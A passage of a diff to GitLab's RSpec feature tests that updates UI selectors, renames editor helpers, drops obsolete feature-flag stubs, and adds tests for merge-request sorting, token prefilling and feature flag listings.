@@ -139,7 +138,7 @@ RSpec.describe "User sorts issues" do
it 'filters by any' do
visit project_issues_path(project, due_date: Issue::AnyDueDate.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).to have_content('foo')
expect(page).to have_content('bar')
expect(page).to have_content('baz')
@@ -153,7 +152,7 @@ RSpec.describe "User sorts issues" do
visit project_issues_path(project, due_date: Issue::DueThisWeek.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).to have_content('foo')
expect(page).to have_content('bar')
expect(page).not_to have_content('baz')
@@ -167,7 +166,7 @@ RSpec.describe "User sorts issues" do
visit project_issues_path(project, due_date: Issue::DueThisMonth.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).to have_content('foo')
expect(page).to have_content('bar')
expect(page).not_to have_content('baz')
@@ -181,7 +180,7 @@ RSpec.describe "User sorts issues" do
visit project_issues_path(project, due_date: Issue::Overdue.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).not_to have_content('foo')
expect(page).not_to have_content('bar')
expect(page).to have_content('baz')
@@ -195,7 +194,7 @@ RSpec.describe "User sorts issues" do
visit project_issues_path(project, due_date: Issue::DueNextMonthAndPreviousTwoWeeks.name)
- page.within '.issues-holder' do
+ page.within '.issues-list' do
expect(page).not_to have_content('foo')
expect(page).not_to have_content('bar')
expect(page).to have_content('baz')
diff --git a/spec/features/markdown/metrics_spec.rb b/spec/features/markdown/metrics_spec.rb
index f9781f6c702..44354c9df47 100644
--- a/spec/features/markdown/metrics_spec.rb
+++ b/spec/features/markdown/metrics_spec.rb
@@ -176,10 +176,11 @@ RSpec.describe 'Metrics rendering', :js, :kubeclient, :use_clean_rails_memory_st
create(:clusters_integrations_prometheus, cluster: cluster)
stub_kubeclient_discover(cluster.platform.api_url)
stub_prometheus_request(/prometheus-prometheus-server/, body: prometheus_values_body)
- stub_prometheus_request(/prometheus\/api\/v1/, body: prometheus_values_body)
+ stub_prometheus_request(%r{prometheus/api/v1}, body: prometheus_values_body)
end
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, :project, projects: [project], user: user) }
+
let(:params) { [project.namespace.path, project.path, cluster.id] }
let(:query_params) { { group: 'Cluster Health', title: 'CPU Usage', y_label: 'CPU (cores)' } }
let(:metrics_url) { urls.namespace_project_cluster_url(*params, **query_params) }
diff --git a/spec/features/merge_request/batch_comments_spec.rb b/spec/features/merge_request/batch_comments_spec.rb
index 5b11d9cb919..c646698219b 100644
--- a/spec/features/merge_request/batch_comments_spec.rb
+++ b/spec/features/merge_request/batch_comments_spec.rb
@@ -13,6 +13,8 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
before do
+ stub_feature_flags(paginated_notes: false)
+
project.add_maintainer(user)
sign_in(user)
@@ -24,7 +26,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'has review bar' do
- expect(page).to have_css('.review-bar-component', visible: false)
+ expect(page).to have_selector('[data-testid="review_bar_component"]', visible: false)
end
it 'adds draft note' do
@@ -32,7 +34,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
expect(find('.draft-note-component')).to have_content('Line is wrong')
- expect(page).to have_css('.review-bar-component')
+ expect(page).to have_selector('[data-testid="review_bar_component"]')
expect(find('.review-bar-content .btn-confirm')).to have_content('1')
end
@@ -259,8 +261,8 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
def write_parallel_comment(line, **params)
- find("td[id='#{line}']").hover
- find(".is-over button").click
+ find("div[id='#{line}']").hover
+ find(".js-add-diff-note-button").click
write_comment(selector: "form[data-line-code='#{line}']", **params)
end
diff --git a/spec/features/merge_request/user_comments_on_diff_spec.rb b/spec/features/merge_request/user_comments_on_diff_spec.rb
index 0fd140a00bd..54c3fe738d2 100644
--- a/spec/features/merge_request/user_comments_on_diff_spec.rb
+++ b/spec/features/merge_request/user_comments_on_diff_spec.rb
@@ -132,7 +132,7 @@ RSpec.describe 'User comments on a diff', :js do
# In `files/ruby/popen.rb`
it 'allows comments for changes involving both sides' do
# click +15, select -13 add and verify comment
- click_diff_line(find('div[data-path="files/ruby/popen.rb"] .new_line a[data-linenumber="15"]').find(:xpath, '../..'), 'right')
+ click_diff_line(find('div[data-path="files/ruby/popen.rb"] .right-side a[data-linenumber="15"]').find(:xpath, '../../..'), 'right')
add_comment('-13', '+15')
end
@@ -141,7 +141,7 @@ RSpec.describe 'User comments on a diff', :js do
page.within('[data-path="files/ruby/popen.rb"]') do
all('.js-unfold-all')[0].click
end
- click_diff_line(find('div[data-path="files/ruby/popen.rb"] .old_line a[data-linenumber="9"]').find(:xpath, '../..'), 'left')
+ click_diff_line(find('div[data-path="files/ruby/popen.rb"] .left-side a[data-linenumber="9"]').find(:xpath, '../..'), 'left')
add_comment('1', '-9')
end
@@ -150,7 +150,7 @@ RSpec.describe 'User comments on a diff', :js do
page.within('[data-path="files/ruby/popen.rb"]') do
all('.js-unfold-all')[1].click
end
- click_diff_line(find('div[data-path="files/ruby/popen.rb"] .old_line a[data-linenumber="21"]').find(:xpath, '../..'), 'left')
+ click_diff_line(find('div[data-path="files/ruby/popen.rb"] .left-side a[data-linenumber="21"]').find(:xpath, '../..'), 'left')
add_comment('18', '21')
end
@@ -159,7 +159,7 @@ RSpec.describe 'User comments on a diff', :js do
page.within('[data-path="files/ruby/popen.rb"]') do
all('.js-unfold-down')[1].click
end
- click_diff_line(find('div[data-path="files/ruby/popen.rb"] .old_line a[data-linenumber="30"]').find(:xpath, '../..'), 'left')
+ click_diff_line(find('div[data-path="files/ruby/popen.rb"] .left-side a[data-linenumber="30"]').find(:xpath, '../..'), 'left')
add_comment('+28', '37')
end
end
diff --git a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
index ac0c66524f0..3665ad91dd6 100644
--- a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
+++ b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
@@ -16,14 +16,14 @@ RSpec.describe 'Batch diffs', :js do
wait_for_requests
# Add discussion to first line of first file
- click_diff_line(find('.diff-file.file-holder:first-of-type tr.line_holder.new:first-of-type'))
+ click_diff_line(find('.diff-file.file-holder:first-of-type .line_holder .left-side:first-of-type'))
page.within('.js-discussion-note-form') do
fill_in('note_note', with: 'First Line Comment')
click_button('Add comment now')
end
# Add discussion to first line of last file
- click_diff_line(find('.diff-file.file-holder:last-of-type tr.line_holder.new:first-of-type'))
+ click_diff_line(find('.diff-file.file-holder:last-of-type .line_holder .left-side:first-of-type'))
page.within('.js-discussion-note-form') do
fill_in('note_note', with: 'Last Line Comment')
click_button('Add comment now')
diff --git a/spec/features/merge_request/user_posts_diff_notes_spec.rb b/spec/features/merge_request/user_posts_diff_notes_spec.rb
index 163ce10132e..c339a7d9976 100644
--- a/spec/features/merge_request/user_posts_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_diff_notes_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
let(:user) { project.creator }
let(:comment_button_class) { '.add-diff-note' }
let(:notes_holder_input_class) { 'js-temp-notes-holder' }
- let(:notes_holder_input_xpath) { './following-sibling::*[contains(concat(" ", @class, " "), " notes_holder ")]' }
+ let(:notes_holder_input_xpath) { '..//following-sibling::*[contains(concat(" ", @class, " "), " notes_holder ")]' }
let(:test_note_comment) { 'this is a test note!' }
before do
@@ -27,7 +27,7 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
context 'with an old line on the left and no line on the right' do
it 'allows commenting on the left side' do
- should_allow_commenting(find('[id="6eb14e00385d2fb284765eb1cd8d420d33d63fc9_23_22"]').find(:xpath, '..'), 'left')
+ should_allow_commenting(find('[id="6eb14e00385d2fb284765eb1cd8d420d33d63fc9_23_22"]'), 'left')
end
it 'does not allow commenting on the right side' do
@@ -67,7 +67,7 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
context 'with a match line' do
it 'does not allow commenting' do
- line_holder = find('.match', match: :first).find(:xpath, '..')
+ line_holder = find('.match', match: :first)
match_should_not_allow_commenting(line_holder)
end
end
@@ -81,17 +81,13 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
wait_for_requests
end
- # The first `.js-unfold` unfolds upwards, therefore the first
- # `.line_holder` will be an unfolded line.
- let(:line_holder) { first('#a5cc2925ca8258af241be7e5b0381edf30266302 .line_holder') }
-
it 'allows commenting on the left side' do
- should_allow_commenting(line_holder, 'left')
+ should_allow_commenting(first('#a5cc2925ca8258af241be7e5b0381edf30266302 .line_holder [data-testid="left-side"]'))
end
it 'allows commenting on the right side' do
# Automatically shifts comment box to left side.
- should_allow_commenting(line_holder, 'right')
+ should_allow_commenting(first('#a5cc2925ca8258af241be7e5b0381edf30266302 .line_holder [data-testid="right-side"]'))
end
end
end
@@ -149,7 +145,7 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
# The first `.js-unfold` unfolds upwards, therefore the first
# `.line_holder` will be an unfolded line.
- let(:line_holder) { first('.line_holder[id="a5cc2925ca8258af241be7e5b0381edf30266302_1_1"]') }
+ let(:line_holder) { first('[id="a5cc2925ca8258af241be7e5b0381edf30266302_1_1"]') }
it 'allows commenting' do
should_allow_commenting line_holder
diff --git a/spec/features/merge_request/user_resolves_conflicts_spec.rb b/spec/features/merge_request/user_resolves_conflicts_spec.rb
index d9e3bfd6a9c..03ab42aaccd 100644
--- a/spec/features/merge_request/user_resolves_conflicts_spec.rb
+++ b/spec/features/merge_request/user_resolves_conflicts_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Merge request > User resolves conflicts', :js do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
diff --git a/spec/features/merge_request/user_sees_merge_widget_spec.rb b/spec/features/merge_request/user_sees_merge_widget_spec.rb
index a85700fc721..2f7758143a1 100644
--- a/spec/features/merge_request/user_sees_merge_widget_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_widget_spec.rb
@@ -373,7 +373,7 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
wait_for_requests
page.within('.mr-widget-body') do
- expect(page).to have_content('Fast-forward merge is not possible')
+ expect(page).to have_content('Merge Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally.')
end
end
end
diff --git a/spec/features/merge_request/user_sees_pipelines_spec.rb b/spec/features/merge_request/user_sees_pipelines_spec.rb
index 2d8fe10b987..a6c8b10f5ca 100644
--- a/spec/features/merge_request/user_sees_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_pipelines_spec.rb
@@ -137,7 +137,7 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
check_head_pipeline(expected_project: parent_project)
end
- it 'does not create a pipeline in the parent project when user cancels the action' do
+ it 'does not create a pipeline in the parent project when user cancels the action', :clean_gitlab_redis_cache, :clean_gitlab_redis_shared_state do
visit project_merge_request_path(parent_project, merge_request)
create_merge_request_pipeline
diff --git a/spec/features/merge_request/user_sees_versions_spec.rb b/spec/features/merge_request/user_sees_versions_spec.rb
index 34ae082750b..5abf4e2f5ad 100644
--- a/spec/features/merge_request/user_sees_versions_spec.rb
+++ b/spec/features/merge_request/user_sees_versions_spec.rb
@@ -17,8 +17,6 @@ RSpec.describe 'Merge request > User sees versions', :js do
let!(:params) { {} }
before do
- stub_feature_flags(diffs_gradual_load: false)
-
project.add_maintainer(user)
sign_in(user)
visit diffs_project_merge_request_path(project, merge_request, params)
@@ -30,8 +28,8 @@ RSpec.describe 'Merge request > User sees versions', :js do
line_code = "#{file_id}_#{line_code}"
page.within(diff_file_selector) do
- find(".line_holder[id='#{line_code}'] td:nth-of-type(1)").hover
- find(".line_holder[id='#{line_code}'] button").click
+ first("[id='#{line_code}']").hover
+ first("[id='#{line_code}'] [role='button']").click
page.within("form[data-line-code='#{line_code}']") do
fill_in "note[note]", with: comment
diff --git a/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb b/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
index b72ac071ecb..19774accaaf 100644
--- a/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
+++ b/spec/features/merge_request/user_toggles_whitespace_changes_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'Merge request > User toggles whitespace changes', :js do
end
describe 'clicking "Hide whitespace changes" button' do
- it 'toggles the "Hide whitespace changes" button' do
+ it 'toggles the "Hide whitespace changes" button', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/333793' do
find('[data-testid="show-whitespace"]').click
visit diffs_project_merge_request_path(project, merge_request)
diff --git a/spec/features/merge_request/user_views_diffs_spec.rb b/spec/features/merge_request/user_views_diffs_spec.rb
index d5061657c59..09dfe41a718 100644
--- a/spec/features/merge_request/user_views_diffs_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe 'User views diffs', :js do
page.within('.file-holder[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd"]') do
expect(find('.text-file')).to have_content('fileutils')
- expect(page).to have_selector('.new_line [data-linenumber="1"]', count: 1)
+ expect(page).to have_selector('[data-interop-type="new"] [data-linenumber="1"]')
end
end
@@ -32,8 +32,8 @@ RSpec.describe 'User views diffs', :js do
page.within('.file-holder[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd"]') do
all('.js-unfold-all')[1].click
- expect(page).to have_selector('.new_line [data-linenumber="24"]', count: 1)
- expect(page).not_to have_selector('.new_line [data-linenumber="1"]')
+ expect(page).to have_selector('[data-interop-type="new"] [data-linenumber="24"]', count: 1)
+ expect(page).not_to have_selector('[data-interop-type="new"] [data-linenumber="1"]')
end
end
diff --git a/spec/features/merge_requests/user_lists_merge_requests_spec.rb b/spec/features/merge_requests/user_lists_merge_requests_spec.rb
index 6b8dcd7dbb6..ab6242784fe 100644
--- a/spec/features/merge_requests/user_lists_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_lists_merge_requests_spec.rb
@@ -23,7 +23,9 @@ RSpec.describe 'Merge requests > User lists merge requests' do
milestone: create(:milestone, project: project, due_date: '2013-12-11'),
created_at: 1.minute.ago,
updated_at: 1.minute.ago)
- create(:merge_request,
+ @fix.metrics.update_column(:merged_at, 10.seconds.ago)
+
+ @markdown = create(:merge_request,
title: 'markdown',
source_project: project,
source_branch: 'markdown',
@@ -32,12 +34,15 @@ RSpec.describe 'Merge requests > User lists merge requests' do
milestone: create(:milestone, project: project, due_date: '2013-12-12'),
created_at: 2.minutes.ago,
updated_at: 2.minutes.ago)
- create(:merge_request,
+ @markdown.metrics.update_column(:merged_at, 50.seconds.ago)
+
+ @merge_test = create(:merge_request,
title: 'merge-test',
source_project: project,
source_branch: 'merge-test',
created_at: 3.minutes.ago,
updated_at: 10.seconds.ago)
+ @merge_test.metrics.update_column(:merged_at, 10.seconds.ago)
end
context 'merge request reviewers' do
@@ -102,6 +107,13 @@ RSpec.describe 'Merge requests > User lists merge requests' do
expect(count_merge_requests).to eq(3)
end
+ it 'sorts by merged at' do
+ visit_merge_requests(project, sort: sort_value_merged_date)
+
+ expect(first_merge_request).to include('markdown')
+ expect(count_merge_requests).to eq(3)
+ end
+
it 'filters on one label and sorts by due date' do
label = create(:label, project: project)
create(:label_link, label: label, target: @fix)
diff --git a/spec/features/merge_requests/user_mass_updates_spec.rb b/spec/features/merge_requests/user_mass_updates_spec.rb
index 0fe69c5ca5b..46c12784ea8 100644
--- a/spec/features/merge_requests/user_mass_updates_spec.rb
+++ b/spec/features/merge_requests/user_mass_updates_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'Merge requests > User mass updates', :js do
visit project_merge_requests_path(project)
end
- it 'closes merge request' do
+ it 'closes merge request', :js do
change_status('Closed')
expect(page).to have_selector('.merge-request', count: 0)
@@ -31,7 +31,7 @@ RSpec.describe 'Merge requests > User mass updates', :js do
visit project_merge_requests_path(project, state: 'closed')
end
- it 'reopens merge request' do
+ it 'reopens merge request', :js do
change_status('Open')
expect(page).to have_selector('.merge-request', count: 0)
@@ -109,7 +109,7 @@ RSpec.describe 'Merge requests > User mass updates', :js do
click_button 'Edit merge requests'
check 'Select all'
click_button 'Select status'
- click_link text
+ click_button text
click_update_merge_requests_button
end
diff --git a/spec/features/merge_requests/user_sorts_merge_requests_spec.rb b/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
index 54c9fbef218..99473f3b1ea 100644
--- a/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
@@ -60,7 +60,7 @@ RSpec.describe 'User sorts merge requests' do
visit(project_issues_path(project))
- expect(find('.issues-filters a.is-active')).not_to have_content('Milestone')
+ expect(page).not_to have_button('Milestone')
end
context 'when merge requests have awards' do
diff --git a/spec/features/oauth_login_spec.rb b/spec/features/oauth_login_spec.rb
index dc27bfbef50..3402bda5a41 100644
--- a/spec/features/oauth_login_spec.rb
+++ b/spec/features/oauth_login_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'OAuth Login', :js, :allow_forgery_protection do
providers = [:github, :twitter, :bitbucket, :gitlab, :google_oauth2,
:facebook, :cas3, :auth0, :authentiq, :salesforce]
- around(:all) do |example|
+ around do |example|
with_omniauth_full_host { example.run }
end
diff --git a/spec/features/participants_autocomplete_spec.rb b/spec/features/participants_autocomplete_spec.rb
index 2781cfffbaf..cc805e7d369 100644
--- a/spec/features/participants_autocomplete_spec.rb
+++ b/spec/features/participants_autocomplete_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Member autocomplete', :js do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:user) { create(:user) }
let_it_be(:author) { create(:user) }
+
let(:note) { create(:note, noteable: noteable, project: noteable.project) }
before do
diff --git a/spec/features/profiles/personal_access_tokens_spec.rb b/spec/features/profiles/personal_access_tokens_spec.rb
index 379c25d6002..de511e99182 100644
--- a/spec/features/profiles/personal_access_tokens_spec.rb
+++ b/spec/features/profiles/personal_access_tokens_spec.rb
@@ -42,10 +42,10 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
name = 'My PAT'
visit profile_personal_access_tokens_path
- fill_in "Name", with: name
+ fill_in "Token name", with: name
# Set date to 1st of next month
- find_field("Expires at").click
+ find_field("Expiration date").click
find(".pika-next").click
click_on "1"
@@ -66,7 +66,7 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
it "displays an error message" do
disallow_personal_access_token_saves!
visit profile_personal_access_tokens_path
- fill_in "Name", with: 'My PAT'
+ fill_in "Token name", with: 'My PAT'
expect { click_on "Create personal access token" }.not_to change { PersonalAccessToken.count }
expect(page).to have_content("Name cannot be nil")
@@ -149,4 +149,15 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
expect(page).to have_pushed_frontend_feature_flags(personalAccessTokensScopedToProjects: true)
end
+
+ it "prefills token details" do
+ name = 'My PAT'
+ scopes = 'api,read_user'
+
+ visit profile_personal_access_tokens_path({ name: name, scopes: scopes })
+
+ expect(page).to have_field("Token name", with: name)
+ expect(find("#personal_access_token_scopes_api")).to be_checked
+ expect(find("#personal_access_token_scopes_read_user")).to be_checked
+ end
end
diff --git a/spec/features/projects/active_tabs_spec.rb b/spec/features/projects/active_tabs_spec.rb
index 39950adc83f..b8c928004ed 100644
--- a/spec/features/projects/active_tabs_spec.rb
+++ b/spec/features/projects/active_tabs_spec.rb
@@ -24,17 +24,6 @@ RSpec.describe 'Project active tab' do
expect(page).to have_selector('.sidebar-top-level-items > li.active', count: 1)
expect(find('.sidebar-top-level-items > li.active')).to have_content(project.name)
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
-
- visit project_path(project)
- end
-
- it_behaves_like 'page has active tab', 'Project'
- it_behaves_like 'page has active sub tab', 'Details'
- end
end
context 'on Project information' do
@@ -80,11 +69,7 @@ RSpec.describe 'Project active tab' do
end
context 'on project Issues' do
- let(:feature_flag_value) { true }
-
before do
- stub_feature_flags(sidebar_refactor: feature_flag_value)
-
visit project_issues_path(project)
end
@@ -98,21 +83,6 @@ RSpec.describe 'Project active tab' do
it_behaves_like 'page has active tab', 'Issues'
it_behaves_like 'page has active sub tab', 'Milestones'
end
-
- context 'when feature flag is disabled' do
- let(:feature_flag_value) { false }
-
- %w(Milestones Labels).each do |sub_menu|
- context "on project Issues/#{sub_menu}" do
- before do
- click_tab(sub_menu)
- end
-
- it_behaves_like 'page has active tab', 'Issues'
- it_behaves_like 'page has active sub tab', sub_menu
- end
- end
- end
end
context 'on project Merge Requests' do
@@ -168,9 +138,9 @@ RSpec.describe 'Project active tab' do
visit project_cycle_analytics_path(project)
end
- context 'on project Analytics/Value Stream Analytics' do
+ context 'on project Analytics/Value stream Analytics' do
it_behaves_like 'page has active tab', _('Analytics')
- it_behaves_like 'page has active sub tab', _('Value Stream')
+ it_behaves_like 'page has active sub tab', _('Value stream')
end
context 'on project Analytics/"CI/CD"' do
diff --git a/spec/features/projects/activity/user_sees_design_activity_spec.rb b/spec/features/projects/activity/user_sees_design_activity_spec.rb
index 27a52b87178..389e86299e5 100644
--- a/spec/features/projects/activity/user_sees_design_activity_spec.rb
+++ b/spec/features/projects/activity/user_sees_design_activity_spec.rb
@@ -8,7 +8,6 @@ RSpec.describe 'Projects > Activity > User sees design Activity', :js do
let_it_be(:uploader) { create(:user) }
let_it_be(:editor) { create(:user) }
let_it_be(:deleter) { create(:user) }
- let_it_be(:archiver) { create(:user) }
def design_activity(user, action)
[user.name, user.to_reference, action, 'design'].join(' ')
@@ -24,7 +23,6 @@ RSpec.describe 'Projects > Activity > User sees design Activity', :js do
create(:design_event, :created, author: uploader, **common_attrs)
create(:design_event, :updated, author: editor, **common_attrs)
create(:design_event, :destroyed, author: deleter, **common_attrs)
- create(:design_event, :archived, author: archiver, **common_attrs)
end
before do
@@ -39,7 +37,6 @@ RSpec.describe 'Projects > Activity > User sees design Activity', :js do
expect(page).to have_content(design_activity(uploader, 'uploaded'))
expect(page).to have_content(design_activity(editor, 'revised'))
expect(page).to have_content(design_activity(deleter, 'deleted'))
- expect(page).to have_content(design_activity(archiver, 'archived'))
end
it 'allows filtering out the design events', :aggregate_failures do
@@ -48,7 +45,6 @@ RSpec.describe 'Projects > Activity > User sees design Activity', :js do
expect(page).not_to have_content(design_activity(uploader, 'uploaded'))
expect(page).not_to have_content(design_activity(editor, 'revised'))
expect(page).not_to have_content(design_activity(deleter, 'deleted'))
- expect(page).not_to have_content(design_activity(archiver, 'archived'))
end
it 'allows filtering in the design events', :aggregate_failures do
@@ -58,7 +54,6 @@ RSpec.describe 'Projects > Activity > User sees design Activity', :js do
expect(page).to have_content(design_activity(uploader, 'uploaded'))
expect(page).to have_content(design_activity(editor, 'revised'))
expect(page).to have_content(design_activity(deleter, 'deleted'))
- expect(page).to have_content(design_activity(archiver, 'archived'))
end
end
diff --git a/spec/features/projects/ci/editor_spec.rb b/spec/features/projects/ci/editor_spec.rb
index 7012cc6edaa..c0cc12eac66 100644
--- a/spec/features/projects/ci/editor_spec.rb
+++ b/spec/features/projects/ci/editor_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Pipeline Editor', :js do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
diff --git a/spec/features/projects/ci/lint_spec.rb b/spec/features/projects/ci/lint_spec.rb
index 353c8558185..0d9ea6331a7 100644
--- a/spec/features/projects/ci/lint_spec.rb
+++ b/spec/features/projects/ci/lint_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'CI Lint', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/297782' do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
diff --git a/spec/features/projects/clusters/gcp_spec.rb b/spec/features/projects/clusters/gcp_spec.rb
index 8c497cded8e..21e587288f5 100644
--- a/spec/features/projects/clusters/gcp_spec.rb
+++ b/spec/features/projects/clusters/gcp_spec.rb
@@ -214,7 +214,7 @@ RSpec.describe 'Gcp Cluster', :js do
it 'user does not see the offer' do
page.within('.as-third-party-offers') do
click_button 'Expand'
- check 'Do not display offers from third parties within GitLab'
+ check 'Do not display offers from third parties'
click_button 'Save changes'
end
diff --git a/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb b/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
index eaafc7e607b..4af5c91479a 100644
--- a/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
+++ b/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
@@ -10,7 +10,6 @@ RSpec.describe 'User creates feature flag', :js do
before do
project.add_developer(user)
- stub_feature_flags(feature_flag_permissions: false)
sign_in(user)
end
diff --git a/spec/features/projects/feature_flags/user_deletes_feature_flag_spec.rb b/spec/features/projects/feature_flags/user_deletes_feature_flag_spec.rb
index 581709aacee..43540dc4522 100644
--- a/spec/features/projects/feature_flags/user_deletes_feature_flag_spec.rb
+++ b/spec/features/projects/feature_flags/user_deletes_feature_flag_spec.rb
@@ -15,7 +15,6 @@ RSpec.describe 'User deletes feature flag', :js do
before do
project.add_developer(user)
- stub_feature_flags(feature_flag_permissions: false)
sign_in(user)
visit(project_feature_flags_path(project))
diff --git a/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb b/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
index d922bc1f4a0..30bfcb645f4 100644
--- a/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
+++ b/spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb
@@ -16,33 +16,63 @@ RSpec.describe 'User sees feature flag list', :js do
sign_in(user)
end
- context 'with legacy feature flags' do
+ context 'with feature flags' do
before do
- create_flag(project, 'ci_live_trace', false, version: :legacy_flag).tap do |feature_flag|
- create_scope(feature_flag, 'review/*', true)
+ create_flag(project, 'ci_live_trace', false).tap do |feature_flag|
+ create_strategy(feature_flag).tap do |strat|
+ create(:operations_scope, strategy: strat, environment_scope: '*')
+ create(:operations_scope, strategy: strat, environment_scope: 'review/*')
+ end
end
- create_flag(project, 'drop_legacy_artifacts', false, version: :legacy_flag)
- create_flag(project, 'mr_train', true, version: :legacy_flag).tap do |feature_flag|
- create_scope(feature_flag, 'production', false)
+ create_flag(project, 'drop_legacy_artifacts', false)
+ create_flag(project, 'mr_train', true).tap do |feature_flag|
+ create_strategy(feature_flag).tap do |strat|
+ create(:operations_scope, strategy: strat, environment_scope: 'production')
+ end
end
+ create(:operations_feature_flag, :new_version_flag, project: project,
+ name: 'my_flag', active: false)
end
- it 'shows empty page' do
+ it 'shows the user the first flag' do
visit(project_feature_flags_path(project))
- expect(page).to have_text 'Get started with feature flags'
- expect(page).to have_selector('.btn-confirm', text: 'New feature flag')
- expect(page).to have_selector('[data-qa-selector="configure_feature_flags_button"]', text: 'Configure')
+ within_feature_flag_row(1) do
+ expect(page.find('.js-feature-flag-id')).to have_content('^1')
+ expect(page.find('.feature-flag-name')).to have_content('ci_live_trace')
+ expect_status_toggle_button_not_to_be_checked
+
+ within_feature_flag_scopes do
+ expect(page.find('[data-testid="strategy-badge"]')).to have_content('All Users: All Environments, review/*')
+ end
+ end
end
- end
- context 'with new version flags' do
- before do
- create(:operations_feature_flag, :new_version_flag, project: project,
- name: 'my_flag', active: false)
+ it 'shows the user the second flag' do
+ visit(project_feature_flags_path(project))
+
+ within_feature_flag_row(2) do
+ expect(page.find('.js-feature-flag-id')).to have_content('^2')
+ expect(page.find('.feature-flag-name')).to have_content('drop_legacy_artifacts')
+ expect_status_toggle_button_not_to_be_checked
+ end
+ end
+
+ it 'shows the user the third flag' do
+ visit(project_feature_flags_path(project))
+
+ within_feature_flag_row(3) do
+ expect(page.find('.js-feature-flag-id')).to have_content('^3')
+ expect(page.find('.feature-flag-name')).to have_content('mr_train')
+ expect_status_toggle_button_to_be_checked
+
+ within_feature_flag_scopes do
+ expect(page.find('[data-testid="strategy-badge"]')).to have_content('All Users: production')
+ end
+ end
end
- it 'user updates the status toggle' do
+ it 'allows the user to update the status toggle' do
visit(project_feature_flags_path(project))
within_feature_flag_row(1) do
@@ -58,7 +88,7 @@ RSpec.describe 'User sees feature flag list', :js do
visit(project_feature_flags_path(project))
end
- it 'shows empty page' do
+ it 'shows the empty page' do
expect(page).to have_text 'Get started with feature flags'
expect(page).to have_selector('.btn-confirm', text: 'New feature flag')
expect(page).to have_selector('[data-qa-selector="configure_feature_flags_button"]', text: 'Configure')
diff --git a/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb b/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
index 9c03a26abc8..f6330491886 100644
--- a/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
+++ b/spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb
@@ -13,9 +13,6 @@ RSpec.describe 'User updates feature flag', :js do
end
before do
- stub_feature_flags(
- feature_flag_permissions: false
- )
sign_in(user)
end
diff --git a/spec/features/projects/features_visibility_spec.rb b/spec/features/projects/features_visibility_spec.rb
index 2e5a5cef0fd..a7e773dda2d 100644
--- a/spec/features/projects/features_visibility_spec.rb
+++ b/spec/features/projects/features_visibility_spec.rb
@@ -68,17 +68,6 @@ RSpec.describe 'Edit Project Settings' do
expect(page).not_to have_selector('.shortcuts-issues')
expect(page).not_to have_selector('.shortcuts-labels')
end
-
